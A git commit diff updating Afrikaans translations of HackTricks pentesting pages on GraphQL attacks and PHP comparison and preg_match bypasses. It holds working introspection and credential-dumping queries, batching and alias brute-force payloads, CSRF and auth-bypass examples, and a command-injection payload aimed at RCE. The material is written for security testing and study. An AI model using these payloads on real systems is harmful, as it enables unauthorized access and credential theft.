Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne

This commit is contained in:
Translator 2024-07-17 11:17:46 +00:00
parent b58ea175d7
commit 125400c52c
4 changed files with 146 additions and 122 deletions

View file

@ -6,17 +6,17 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Inleiding
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied vir die ondervraging van data van die agterkant. In teenstelling met REST, wat dikwels verskeie versoekings oor uiteenlopende eindpunte vereis om data in te samel, maak GraphQL dit moontlik om al die benodigde inligting deur 'n **enkele versoek** te haal. Hierdie stroomlynproses bied aansienlike **voordele vir ontwikkelaars** deur die ingewikkeldheid van hul datahaalprosesse te verminder.
GraphQL word **uitgelig** as 'n **doeltreffende alternatief** vir REST API, wat 'n vereenvoudigde benadering bied vir die ondervraging van data van die agterkant. In teenstelling met REST, wat dikwels verskeie versoekings oor uiteenlopende eindpunte vereis om data te versamel, maak GraphQL dit moontlik om al die benodigde inligting deur 'n **enkele versoek** op te haal. Hierdie stroomlynproses bied aansienlike **voordele vir ontwikkelaars** deur die ingewikkeldheid van hul data-opvraagprosesse te verminder.
## GraphQL en Sekuriteit
@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
```
{% endcode %}
Met hierdie navraag kan jy al die tipes, hul velde, en hul argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te ondervra.
Met hierdie navraag kan jy al die tipes, hul velde, en hul argumente (en die tipe van die argumente) onttrek. Dit sal baie nuttig wees om te weet hoe om die databasis te bevraagteken.
![](<../../.gitbook/assets/image (950).png>)
@ -81,10 +81,10 @@ Dit is interessant om te weet of die **foute** as hulle **gewys** gaan word, aan
```
![](<../../.gitbook/assets/image (416).png>)
**Enumerateer Databasis-skema via Introspeksie**
**Enumerate Databasis Skema deur Introspeksie**
{% hint style="info" %}
Indien introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die `onOperation`, `onFragment`, en `onField` riglyne uit die navraagstruktuur te verwyder.
As introspeksie geaktiveer is, maar die bogenoemde navraag nie uitgevoer word nie, probeer om die `onOperation`, `onFragment`, en `onField` riglyne uit die navraagstruktuur te verwyder.
{% endhint %}
```bash
#Full introspection query
@ -193,7 +193,7 @@ In die introspeksie kan jy vind **watter voorwerp jy direk kan navraag doen** (o
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie voorwerp is as volg gedefinieer:
Let daarop dat die tipe van die navraag "_flags_" is "_Flags_", en hierdie voorwerp is gedefinieer as volg:
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -201,7 +201,7 @@ Jy kan sien dat die "_Flags_" voorwerpe saamgestel is uit **naam** en **waarde**
```javascript
query={flags{name, value}}
```
Merk op dat in die geval die **voorwerp om te ondervra** 'n **primitiewe tipe** is soos **string** soos in die volgende voorbeeld
Merk op dat in die geval waar die **voorwerp om te ondervra** 'n **primitiewe** **tipe** is soos **string** soos in die volgende voorbeeld
![](<../../.gitbook/assets/image (958).png>)
@ -210,7 +210,7 @@ Jy kan dit net ondervra met:
query={hiddenFlags}
```
In 'n ander voorbeeld waar daar 2 voorwerpe binne die "_Query_" tipe voorwerp was: "_user_" en "_users_".\
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kon jy **alle inligting daaruit terugkry** deur net te **vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kon jy die gestoorde gebruikersname en wagwoorde onttrek:
As hierdie voorwerpe nie enige argument nodig het om te soek nie, kon jy **alle inligting daaruit haal** deur net te **vra** vir die data wat jy wil hê. In hierdie voorbeeld van die Internet kon jy die gestoorde gebruikersname en wagwoorde onttrek:
![](<../../.gitbook/assets/image (880).png>)
@ -221,22 +221,22 @@ Tog, in hierdie voorbeeld as jy probeer om dit te doen kry jy hierdie **fout**:
Dit lyk asof dit op een of ander manier sal soek deur die "_**uid**_" argument van tipe _**Int**_.\
Hoe dan ook, ons het reeds geweet dat, in die [Basiese Enumerasie](graphql.md#basic-enumeration) afdeling 'n navraag voorgestel was wat al die nodige inligting aan ons getoon het: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
As jy die beeld lees wat verskaf is wanneer ek daardie navraag hardloop, sal jy sien dat "_**user**_" die **arg** "_**uid**_" van tipe _Int_ gehad het.
As jy die beeld lees wat verskaf is toe ek daardie navraag hardloop, sal jy sien dat "_**user**_" die **arg** "_**uid**_" van tipe _Int_ gehad het.
Dus, deur 'n bietjie ligte _**uid**_ bruteforce uit te voer, het ek gevind dat in _**uid**=**1**_ 'n gebruikersnaam en wagwoord opgehaal is:\
Dus, deur 'n bietjie ligte _**uid**_ bruteforce uit te voer, het ek gevind dat in _**uid**=**1**_ 'n gebruikersnaam en 'n wagwoord opgehaal is:\
`query={user(uid:1){user,password}}`
![](<../../.gitbook/assets/image (90).png>)
Let daarop dat ek **ontdek** het dat ek vir die **parameters** "_**user**_" en "_**password**_" kon vra omdat as ek probeer soek vir iets wat nie bestaan nie (`query={user(uid:1){noExists}}`) kry ek hierdie fout:
Merk op dat ek **ontdek** het dat ek vir die **parameters** "_**user**_" en "_**password**_" kon vra omdat as ek probeer om vir iets te soek wat nie bestaan nie (`query={user(uid:1){noExists}}`) kry ek hierdie fout:
![](<../../.gitbook/assets/image (707).png>)
En gedurende die **enumerasie fase** het ek ontdek dat die "_**dbuser**_" voorwerp velds soos "_**user**_" en "_**password**_ gehad het.
En gedurende die **enumerasie fase** het ek ontdek dat die "_**dbuser**_" voorwerp veld "_**user**_" en "_**password**_ gehad het.
**Navraag string dump truuk (dankie aan @BinaryShadow\_)**
As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Merk op dat hierdie voorbeeld nie verband hou met die voorbeeld van die tutoriale nie, vir hierdie voorbeeld aanvaar dat jy kan soek met "**theusers**" deur 'n String veld genaamd "**beskrywing**"_).
As jy kan soek volgens 'n string tipe, soos: `query={theusers(description: ""){username,password}}` en jy **soek vir 'n leë string** sal dit **alle data dump**. (_Merk op hierdie voorbeeld is nie verwant aan die voorbeeld van die tutoriale nie, vir hierdie voorbeeld aanvaar dat jy kan soek deur "**theusers**" met 'n String veld genaamd "**description**"_).
### Soek
@ -250,7 +250,7 @@ email
}
}
```
Jy kan persone **volgens** die **naam** soek en hul **geabonneerde** **films** kry:
Jy kan **soek** persone **volgens** hul **naam** en hul **geabonneerde** **films** kry:
```javascript
{
searchPerson(name: "John Doe") {
@ -300,7 +300,7 @@ name
```
### Mutations
**Mutations word gebruik om veranderinge aan die kant van die bediener te maak.**
**Mutations word gebruik om veranderinge aan die serverkant te maak.**
In die **introspeksie** kan jy die **verklaarde** **mutasies** vind. In die volgende afbeelding word die "_MutationType_" genoem "_Mutation_" en die "_Mutation_" objek bevat die name van die mutasies (soos "_addPerson_" in hierdie geval):
@ -351,18 +351,18 @@ releaseYear
```
### Direktief Overbelasting
Soos verduidelik in [**een van die kwesbaarhede wat in hierdie verslag beskryf word**](https://www.landh.tech/blog/20240304-google-hack-50000/), impliseer 'n direktief oorbelasting om 'n direktief selfs miljoene kere te roep om die bediener operasies te laat mors totdat dit moontlik is om dit DoS.
Soos verduidelik in [**een van die kwesbaarhede beskryf in hierdie verslag**](https://www.landh.tech/blog/20240304-google-hack-50000/), impliseer 'n direktief oorbelasting om 'n direktief selfs miljoene kere te roep om die bediener te laat operasies mors totdat dit moontlik is om dit DoS.
### Groepering van brute-krag in 1 API-aanvraag
### Batching brute force in 1 API-aanvraag
Hierdie inligting is geneem van [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
Outentifisering deur middel van GraphQL API met **gelyktydige stuur van baie navrae met verskillende geloofsbriewe** om dit te toets. Dit is 'n klassieke brute krag-aanval, maar nou is dit moontlik om meer as een aanmelding/wagwoordpaar per HTTP-aanvraag te stuur as gevolg van die GraphQL-groepeeringseienskap. Hierdie benadering sou eksterne koersmoniteringsprogramme mislei om te dink dat alles reg is en dat daar geen brute-krag-bot is wat wagwoorde probeer raai nie.
Outentifisering deur middel van GraphQL API met **gelyktydig stuur van baie navrae met verskillende geloofsbriewe** om dit te toets. Dit is 'n klassieke brute force-aanval, maar nou is dit moontlik om meer as een login/wagwoordpaar per HTTP-aanvraag te stuur as gevolg van die GraphQL-batchingfunksie. Hierdie benadering sou eksterne koersmoniteringsprogramme laat dink dat alles reg is en dat daar geen brute force-bot is wat wagwoorde probeer raai nie.
Hieronder kan jy die eenvoudigste demonstrasie van 'n aansoekoutentiseringsaanvraag vind, met **3 verskillende e-pos/wagwoordpare op 'n slag**. Dit is vanselfsprekend moontlik om duisende in een enkele aanvraag op dieselfde manier te stuur:
Hieronder kan jy die eenvoudigste demonstrasie van 'n aansoekoutentiseringsversoek vind, met **3 verskillende e-pos/wagwoordpare op 'n slag**. Dit is vanselfsprekend moontlik om duisende in een enkele versoek op dieselfde manier te stuur:
![](<../../.gitbook/assets/image (1081).png>)
Soos ons kan sien van die respons-skermkiekie, het die eerste en derde aanvrae _null_ teruggegee en het die ooreenstemmende inligting in die _fout_ afdeling weerspieël. Die **tweede mutasie het die korrekte outentiserings**-data gehad en die respons het die korrekte outentiseringsessie-token gehad.
Soos ons kan sien van die respons-skermkiekie, het die eerste en die derde versoeke _null_ teruggegee en het die ooreenstemmende inligting in die _fout_ afdeling weerspieël. Die **tweede mutasie het die korrekte outentiserings**-data gehad en die respons het die korrekte outentiseringsessie-token gehad.
![](<../../.gitbook/assets/image (119) (1).png>)
@ -376,7 +376,7 @@ Verder, die Burp Suite-uitbreiding [**GraphQuail**](https://github.com/forcesuns
### Om GraphQL introspeksie-verdedigings te omseil <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
Om beperkings op introspeksie-navrae in API's te omseil, bewys dit effektief om 'n **spesiale karakter na die `__schema` sleutelwoord** in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blok deur te fokus op die `__schema` sleutelwoord. Deur karakters soos **spasies, nuwe lyne, en kommas** by te voeg, wat GraphQL ignoreer maar dalk nie in regex verreken word nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na `__schema` mag sulke verdedigings omseil:
Om beperkings op introspeksie-navrae in API's te omseil, bewys dit effektief om 'n **spesiale karakter na die `__schema` sleutelwoord** in te voeg. Hierdie metode maak gebruik van algemene ontwikkelaarsoorsigte in regex-patrone wat daarop gemik is om introspeksie te blok deur te fokus op die `__schema` sleutelwoord. Deur karakters soos **spasies, nuwe lyne, en kommas** by te voeg, wat GraphQL ignoreer maar dalk nie in ag geneem word in regex nie, kan beperkings omseil word. Byvoorbeeld, 'n introspeksie-navraag met 'n nuwe lyn na `__schema` mag sulke verdedigings omseil:
```bash
# Example with newline to bypass
{
@ -388,7 +388,7 @@ Indien onsuksesvol, oorweeg alternatiewe versoekmetodes, soos **GET-versoeke** o
### **Ontdekking van Blootgestelde GraphQL-Strukture**
Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die bronkode van die webwerf vir voorafgelaai queries in JavaScript-biblioteke te ondersoek. Hierdie queries kan gevind word deur die `Bronne`-kategorie in die ontwikkelaarhulpmiddels te gebruik, wat insig kan gee in die API se skema en moontlik **blootgestelde sensitiewe queries** kan onthul. Die opdragte om binne die ontwikkelaarhulpmiddels te soek is:
Wanneer introspeksie gedeaktiveer is, is dit 'n nuttige strategie om die bronkode van die webwerf te ondersoek vir voorafgelaai queries in JavaScript-biblioteke. Hierdie queries kan gevind word deur die `Bronne`-tabblad in die ontwikkelaarshulpmiddels te gebruik, wat insig kan gee in die API se skema en moontlik **blootgestelde sensitiewe queries** kan onthul. Die opdragte om binne die ontwikkelaarshulpmiddels te soek is:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -402,19 +402,19 @@ As jy nie weet wat CSRF is nie, lees die volgende bladsy:
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
{% endcontent-ref %}
Daar buite sal jy verskeie GraphQL eindpunte kan vind wat **gekonfigureer is sonder CSRF-tokens.**
Daar buite sal jy verskeie GraphQL eindpunte vind **gekonfigureer sonder CSRF-tokens.**
Let daarop dat GraphQL-versoeke gewoonlik gestuur word via POST-versoeke met die Inhouds-Tipe **`application/json`**.
Let daarop dat GraphQL-aanvrae gewoonlik gestuur word via POST-aanvrae met die Inhouds-Tipe **`application/json`**.
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
Echter, die meeste GraphQL eindpunte ondersteun ook **`vorm-gekodeerde` POST-versoeke:**
Echter, die meeste GraphQL eindpunte ondersteun ook **`form-urlencoded` POST-aanvrae:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
Daarom, aangesien CSRF-versoeke soos die voriges sonder vooraanvrae gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.
Daarom, aangesien CSRF-versoeke soos die voriges sonder vooraanvraagversoeke gestuur word, is dit moontlik om veranderinge in die GraphQL te maak deur 'n CSRF te misbruik.
Let egter daarop dat die nuwe verstek koekie waarde van die `samesite` vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derde party-web gestuur sal word in GET-versoeke.
Let egter daarop dat die nuwe verstekkoekiewaarde van die `samesite`-vlag van Chrome `Lax` is. Dit beteken dat die koekie slegs van 'n derdeparty-webwerf in GET-versoeke gestuur sal word.
Let daarop dat dit gewoonlik moontlik is om die navraagversoek ook as 'n GET-versoek te stuur en dat die CSRF-token moontlik nie in 'n GET-versoek gevalideer word nie.
@ -424,11 +424,11 @@ Vir meer inligting, sien die [oorspronklike plasing hier](https://blog.doyensec.
## Magtiging in GraphQL
Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die outentifikasie van die versoeker nagaan, maar nie magtiging nie.
Baie GraphQL-funksies wat op die eindpunt gedefinieer is, mag slegs die outentisering van die versoeker nagaan, maar nie magtiging nie.
Die wysiging van navraaginvoer veranderlikes kan lei tot die uitlek van sensitiewe rekeningbesonderhede.
Mutasi kan selfs lei tot rekening oorneem pogings om ander rekeningdata te wysig.
Mutasi kan selfs lei tot rekeningoornames deur te probeer om ander rekeningdata te wysig.
```javascript
{
"operationName":"updateProfile",
@ -438,21 +438,21 @@ Mutasi kan selfs lei tot rekening oorneem pogings om ander rekeningdata te wysig
```
### Omgang met outorisasie in GraphQL
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentiseringsisteem omseil.
[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) saam kan 'n swak outentifikasie stelsel omseil.
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword-query wat daarmee verband hou, moet uitvoer. Dit kan omseil word deur 'n query aan die einde by te voeg, in hierdie geval voeg ons "register" by en 'n gebruiker veranderlike vir die stelsel om as 'n nuwe gebruiker te registreer.
In die onderstaande voorbeeld kan jy sien dat die operasie "forgotPassword" is en dat dit slegs die forgotPassword query wat daarmee verband hou, moet uitvoer. Dit kan omseil word deur 'n query aan die einde by te voeg, in hierdie geval voeg ons "register" by en 'n gebruiker veranderlike vir die stelsel om as 'n nuwe gebruiker te registreer.
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Omgang met Tariefgrense deur Aliasse in GraphQL te gebruik
In GraphQL is aliasse 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** moontlik maak wanneer 'n API-aanvraag gedoen word. Hierdie vermoë is veral nuttig vir die herwinning van **meervoudige gevalle van dieselfde tipe** objek binne 'n enkele aanvraag. Aliasse kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL-objekte meervoudige eienskappe met dieselfde naam het.
In GraphQL is aliase 'n kragtige kenmerk wat die **naamgewing van eienskappe eksplisiet** toelaat wanneer 'n API versoek gedoen word. Hierdie vermoë is veral nuttig vir die herwinning van **meervoudige gevalle van dieselfde tipe** van voorwerp binne 'n enkele versoek. Aliase kan gebruik word om die beperking te oorkom wat voorkom dat GraphQL voorwerpe meervoudige eienskappe met dieselfde naam het.
Vir 'n gedetailleerde begrip van GraphQL aliase word die volgende bron aanbeveel: [Aliasse](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Vir 'n gedetailleerde begrip van GraphQL aliase, word die volgende bron aanbeveel: [Aliase](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Terwyl die primêre doel van aliase is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde geval geïdentifiseer waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL-eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te stuit deur die **aantal HTTP-aanvrae** te beperk. Hierdie tariefgrense mag egter nie rekening hou met die aantal operasies binne elke aanvraag nie. Gegewe dat aliase toelaat vir die insluiting van meervoudige navrae in 'n enkele HTTP-aanvraag, kan hulle sulke tariefgrense maatreëls omseil.
Terwyl die primêre doel van aliase is om die noodsaaklikheid vir talle API-oproepe te verminder, is 'n onbedoelde geval geïdentifiseer waar aliase gebruik kan word om brute force aanvalle op 'n GraphQL eindpunt uit te voer. Dit is moontlik omdat sommige eindpunte beskerm word deur tariefgrense wat ontwerp is om brute force aanvalle te stuit deur die **aantal HTTP-versoeke** te beperk. Hierdie tariefgrense mag egter nie rekening hou met die aantal operasies binne elke versoek nie. Gegewe dat aliase toelaat vir die insluiting van meervoudige navrae in 'n enkele HTTP-versoek, kan hulle sulke tariefgrense maatreëls omseil.
Oorweeg die onderstaande voorbeeld, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkel afslagkodes te verifieer. Hierdie metode kan tariefgrense omseil aangesien dit verskeie navrae in een HTTP-aanvraag saamstel, wat moontlik die verifikasie van verskeie afslagkodes gelyktydig kan toelaat.
Oorweeg die onderstaande voorbeeld, wat illustreer hoe gealiaseerde navrae gebruik kan word om die geldigheid van winkel afslagkodes te verifieer. Hierdie metode kan tariefgrense omseil aangesien dit verskeie navrae in een HTTP-versoek saamstel, wat moontlik die verifikasie van verskeie afslagkodes gelyktydig kan toelaat.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -469,15 +469,16 @@ valid
```
## Gereedskap
### Kwesbaarheidsskanners
### Kwesbaarheidsskandeerders
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene verkeerde konfigurasies van graphql eindpunte
* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Toets algemene wanopstellings van graphql-eindpunte
* [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-sekuriteitsouditeringsskrip met 'n fokus op die uitvoer van groep GraphQL-navrae en mutasies.
* [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Vingerafdruk die gebruikte graphql
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit wat gebruik kan word om skemas te gryp en te soek na sensitiewe data, toets outorisasie, kragaanval skemas, en paaie na 'n gegewe tipe te vind.
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit wat gebruik kan word om skemas te gryp en te soek na sensitiewe data, toets outorisasie, bruto krag skemas, en paaie na 'n gegewe tipe te vind.
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kan as selfstandige of [Burp-uitbreiding](https://github.com/doyensec/inql) gebruik word.
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kan ook as 'n CLI-klient gebruik word om aanvalle outomaties te maak
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Gereedskap wat die verskillende maniere lys om 'n gegewe tipe in 'n GraphQL-skema te bereik.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-uitbreiding vir gevorderde GraphQL-toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL-eindpunt of 'n plaaslike introspeksie-skemabestand kan analiseer. Dit genereer outomaties alle moontlike navrae en mutasies, organiseer hulle in 'n gestruktureerde aansig vir jou analise. Die _**Aanvaller**_ komponent laat jou toe om lot GraphQL-aanvalle uit te voer, wat nuttig kan wees om swak geïmplementeerde tempo-limiete te omseil.
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp-uitbreiding vir gevorderde GraphQL-toetsing. Die _**Scanner**_ is die kern van InQL v5.0, waar jy 'n GraphQL-eindpunt of 'n plaaslike introspeksie-skemabestand kan analiseer. Dit genereer outomaties alle moontlike navrae en mutasies, organiseer hulle in 'n gestruktureerde aansig vir jou analise. Die _**Aanvaller**_ komponent laat jou groep GraphQL-aanvalle uitvoer, wat nuttig kan wees om swak geïmplementeerde tempo-limiete te omseil.
### Kliënte

View file

@ -6,9 +6,9 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -47,10 +47,10 @@ PHP-vergelykingstabelle: [https://www.php.net/manual/en/types.comparisons.php](h
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
* `"0xAAAA" == "43690" -> True` Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met True as resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0xAAAA" == "43690" -> True` Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met 'n ware resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
* `"0e3264578" == 0 --> True` 'n String wat met "0e" begin en gevolg deur enigiets, sal gelyk wees aan 0
* `"0X3264578" == 0X --> True` 'n String wat met "0" begin en gevolg deur enige letter (X kan enige letter wees) en gevolg deur enigiets, sal gelyk wees aan 0
* `"0e12334" == "0" --> True` Dit is baie interessant omdat in sommige gevalle jy die string invoer van "0" kan beheer en sommige inhoud wat gehash en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking omseil. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Dit is baie interessant omdat in sommige gevalle jy die string invoer van "0" kan beheer en sommige inhoud wat gehash word en daarmee vergelyk word. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan **reeds gehasde strings** met hierdie formaat hier vind: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Enige letter in 'n string is gelyk aan int 0
Meer inligting in [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -86,7 +86,7 @@ Selfs as `===` **gebruik word** kan daar foute wees wat die **vergelyking vatbaa
**`preg_match()`** kan gebruik word om **gebruikersinvoer te valideer** (dit **kontroleer** of enige **woord/regex** van 'n **swartlys** teenwoordig is in die **gebruikersinvoer** en as dit nie is nie, kan die kode voortgaan met sy uitvoering).
#### Nuwe lyn omseiling
#### Nuwe lyn omseil
Maar, wanneer die begin van die regexp afgebaken word, **kontroleer `preg_match()` slegs die eerste lyn van die gebruikersinvoer**, dus as jy die invoer op een of ander manier in **verskeie lyne kan stuur**, kan jy hierdie kontrole omseil. Voorbeeld:
```php
@ -109,10 +109,10 @@ Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded
```
Vind 'n voorbeeld hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Lengte fout omseil**
#### **Lengte fout omseiling**
(Hierdie omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15 nie)\
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** nie en jy sal die kontrole kan **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
(Die omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15)\
As jy 'n geldige baie **groot inset** aan `preg_match()` kan stuur, sal dit **nie in staat wees om dit te verwerk** nie en sal jy die toets kan **omseil**. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -122,12 +122,12 @@ Truuk van: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-w
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Kortliks gebeur die probleem omdat die `preg_*` funksies in PHP bou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings gematch deur 'n baie van herhalende oproepe te gebruik, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas.
Kortliks gebeur die probleem omdat die `preg_*` funksies in PHP voortbou op die [PCRE-biblioteek](http://www.pcre.org/). In PCRE word sekere regulêre uitdrukkings gematch deur 'n baie van herhalende oproepe te gebruik, wat baie stakspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet [standaard 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stak pas.
[Hierdie Stackoverflow-draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) was ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat teruggee en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en die verrassing aan die einde van die payload iets soos `{system(<verybadcommand>)}` gooi om SSTI --> RCE --> vlag te kry :)**.
**Stuur 'n inset wat die regex 100\_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die `preg_match()` funksie `false` laat terugkeer en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en aan die einde van die payload 'n verrassing gooi soos `{system(<verybadcommand>)}` om SSTI --> RCE --> vlag te kry :)**.
